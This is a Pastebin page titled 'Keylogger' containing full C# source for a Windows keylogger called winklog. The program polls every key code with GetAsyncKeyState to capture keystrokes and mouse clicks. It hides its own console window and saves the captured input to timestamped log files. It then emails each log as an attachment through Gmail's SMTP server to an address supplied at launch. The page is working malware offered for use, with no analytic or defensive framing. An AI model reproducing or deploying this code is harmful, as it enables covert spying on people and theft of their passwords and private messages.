Advertisement
rohits134

Keylogger

Jul 12th, 2012
2,197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 9.43 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5.  
  6. namespace winklog
  7. {
  8.     using System;
  9.     using System.IO;
  10.     using System.Net;
  11.     using System.Net.Mail;
  12.     using System.Runtime.InteropServices;
  13.     using System.Text;
  14.     using System.Threading;
  15.  
  16.     internal class winklog
  17.     {
  18.         public winklog() { }
  19.  
  20.         [DllImport("user32.dll", SetLastError = false)]
  21.         private static extern short GetAsyncKeyState(int vKey);
  22.         [DllImport("user32.dll", SetLastError = false)]
  23.         public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  24.         [DllImport("user32.dll", SetLastError = false)]
  25.         private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  26.  
  27.         static void Main(string[] args)
  28.         {
  29.             IntPtr intPtr;
  30.             string str;
  31.             int i;
  32.             bool bl;
  33.             //Email parameters: just as a note, it is pre-setup to work with Gmail.  To edit, look up your mail host's information and edit here
  34.             string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName;
  35.             int port = 587;
  36.             bool sslEnabled = true;
  37.  
  38.             if (args.Length != 4)
  39.             {
  40.                 Console.WriteLine("Username: ");
  41.                 userName = Console.ReadLine();
  42.                 if (userName == "default")
  43.                 {
  44.                     //fill in from file
  45.                 }
  46.                 else
  47.                 {
  48.                     Console.WriteLine("From: ");
  49.                     fromAddress = Console.ReadLine();
  50.                     Console.WriteLine("To: ");
  51.                     toAddress = Console.ReadLine();
  52.                     pswd = Returnpassword();
  53.                 }
  54.             }
  55.             else
  56.             {
  57.                 userName = args[0].ToString();
  58.                 fromAddress = args[1].ToString();
  59.                 toAddress = args[2].ToString();
  60.                 pswd = args[3].ToString();
  61.             }
  62.  
  63.             intPtr = winklog.FindWindow(null, Console.Title);
  64.             bl = intPtr == IntPtr.Zero;
  65.             if (!bl)
  66.             {
  67.                 winklog.ShowWindow(intPtr, 0);
  68.             }
  69.  
  70.             str = "";
  71.             while (true)
  72.             {
  73.                 while ((str.Length < 250))
  74.                 {
  75.                     i = 1;
  76.                     while ((i < 255))
  77.                     {
  78.                         bl = winklog.GetAsyncKeyState(i) == 0;
  79.                         if (!bl)
  80.                         {
  81.                             str = string.Concat(str, checkExceptions(i));
  82.                             Console.WriteLine(str);
  83.                             Thread.Sleep(115);
  84.                         }
  85.                         i++;
  86.                     }
  87.                 }
  88.                 DateTime dtm = DateTime.Now;
  89.                 string str1 = DateTime.Now.ToString();
  90.                 str1 = str1.Replace(':', '_');
  91.                 str1 = str1.Replace('/', '_');
  92.                 fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt");
  93.                 FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write);
  94.                 StreamWriter streamWriter = new StreamWriter(fileStream);
  95.                 streamWriter.Write(str);
  96.                 streamWriter.Close();
  97.                 fileStream.Close();
  98.                 DateTime dtm1 = DateTime.Now;
  99.                 winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName);
  100.                 str = "";
  101.             }
  102.         }
  103.  
  104.         public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
  105.         {
  106.             MailMessage mailMessage;            
  107.             SmtpClient smtpClient;
  108.             mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
  109.             mailMessage.Subject = subject;
  110.             mailMessage.SubjectEncoding = Encoding.UTF8;
  111.             mailMessage.Body = body;
  112.             mailMessage.BodyEncoding = Encoding.UTF8;
  113.             mailMessage.IsBodyHtml = false;
  114.             mailMessage.Attachments.Add(new Attachment(fileName));
  115.             smtpClient = new SmtpClient(host, port);
  116.             smtpClient.Credentials = new NetworkCredential(userName, pswd);
  117.             smtpClient.EnableSsl = sslEnabled;
  118.             try
  119.             {
  120.                 smtpClient.Send(mailMessage);
  121.                 Console.WriteLine("Your message was sent successfully.");
  122.             }
  123.             catch (SmtpException smtpException1)
  124.             {
  125.                 Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message);
  126.             }
  127.         }
  128.  
  129.         public static string Returnpassword()
  130.         {
  131.             Console.WriteLine("Password: ");
  132.             string password = "";
  133.             ConsoleKeyInfo info = Console.ReadKey(true);
  134.             while (info.Key != ConsoleKey.Enter)
  135.             {
  136.                 if (info.Key != ConsoleKey.Backspace)
  137.                 {
  138.                     password += info.KeyChar;
  139.                     info = Console.ReadKey(true);
  140.                 }
  141.                 else if (info.Key == ConsoleKey.Backspace)
  142.                 {
  143.                     if (!string.IsNullOrEmpty(password))
  144.                     {
  145.                         password = password.Substring
  146.                         (0, password.Length - 1);
  147.                     }
  148.                     info = Console.ReadKey(true);
  149.                 }
  150.             }
  151.             for (int i = 0; i < password.Length; i++)
  152.                 Console.Write("*");
  153.             return password;
  154.         }
  155.  
  156.         public static string checkExceptions(int i)
  157.         {
  158.             switch (i)
  159.             {
  160.                 case 1:
  161.                     return "<Left Click>";
  162.  
  163.                 case 2:
  164.                     return "<Right Click>";
  165.  
  166.                 case 8:
  167.                     return "<BackSpace>";
  168.  
  169.                 case 9:
  170.                     return "<Tab>";
  171.  
  172.                 case 13:
  173.                     return "<Enter>";
  174.  
  175.                 case 0x10:
  176.                     return "";
  177.  
  178.                 case 0x11:
  179.                     return "";
  180.  
  181.                 case 0x12:
  182.                     return "";
  183.  
  184.                 case 20:
  185.                     return "<Caps Lock>";
  186.  
  187.                 case 0x21:
  188.                     return "<Page Up>";
  189.  
  190.                 case 0x22:
  191.                     return "<Page Down>";
  192.  
  193.                 case 0x23:
  194.                     return "<End>";
  195.  
  196.                 case 0x24:
  197.                     return "<Home>";
  198.  
  199.                 case 0x25:
  200.                     return "<Left Arrow>";
  201.  
  202.                 case 0x26:
  203.                     return "<Up Arrow>";
  204.  
  205.                 case 0x27:
  206.                     return "<Right Arrow>";
  207.  
  208.                 case 40:
  209.                     return "<Down Arrow>";
  210.  
  211.                 case 0x2c:
  212.                     return "<Prnt Scrn>";
  213.  
  214.                 case 0x2d:
  215.                     return "<Insert>";
  216.  
  217.                 case 0x5b:
  218.                     return "<Windows Key>";
  219.  
  220.                 case 0x5d:
  221.                     return "<Menu Key>";
  222.  
  223.                 case 0x70:
  224.                     return "<F1>";
  225.  
  226.                 case 0x71:
  227.                     return "<F2>";
  228.  
  229.                 case 0x72:
  230.                     return "<F3>";
  231.  
  232.                 case 0x73:
  233.                     return "<F4>";
  234.  
  235.                 case 0x74:
  236.                     return "<F5>";
  237.  
  238.                 case 0x75:
  239.                     return "<F6>";
  240.  
  241.                 case 0x76:
  242.                     return "<F7>";
  243.  
  244.                 case 0x77:
  245.                     return "<F8>";
  246.  
  247.                 case 120:
  248.                     return "<F9>";
  249.  
  250.                 case 0x79:
  251.                     return "<F10>";
  252.  
  253.                 case 0x7a:
  254.                     return "<F11>";
  255.  
  256.                 case 0x7b:
  257.                     return "<F12>";
  258.  
  259.                 case 0x90:
  260.                     return "<Num Lk>";
  261.  
  262.                 case 160:
  263.                     return "<Left Shift>";
  264.  
  265.                 case 0xa1:
  266.                     return "<Right Shift>";
  267.  
  268.                 case 0xa2:
  269.                     return "<Ctrl>";
  270.  
  271.                 case 0xa3:
  272.                     return "<Ctrl>";
  273.  
  274.                 case 0xa4:
  275.                     return "<Alt>";
  276.  
  277.                 case 0xa5:
  278.                     return "<Alt>";
  279.  
  280.                 case 0xba:
  281.                     return ";";
  282.  
  283.                 case 0xbb:
  284.                     return "=";
  285.  
  286.                 case 0xbc:
  287.                     return ",";
  288.  
  289.                 case 0xbd:
  290.                     return "-";
  291.  
  292.                 case 190:
  293.                     return ".";
  294.  
  295.                 case 0xbf:
  296.                     return "/";
  297.  
  298.                 case 0xdb:
  299.                     return "[";
  300.  
  301.                 case 220:
  302.                     return @"\";
  303.  
  304.                 case 0xdd:
  305.                     return "]";
  306.  
  307.                 case 0xde:
  308.                     return "'";
  309.             }
  310.             char ch = (char)i;
  311.             return ch.ToString();
  312.         }
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.     }
  320. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement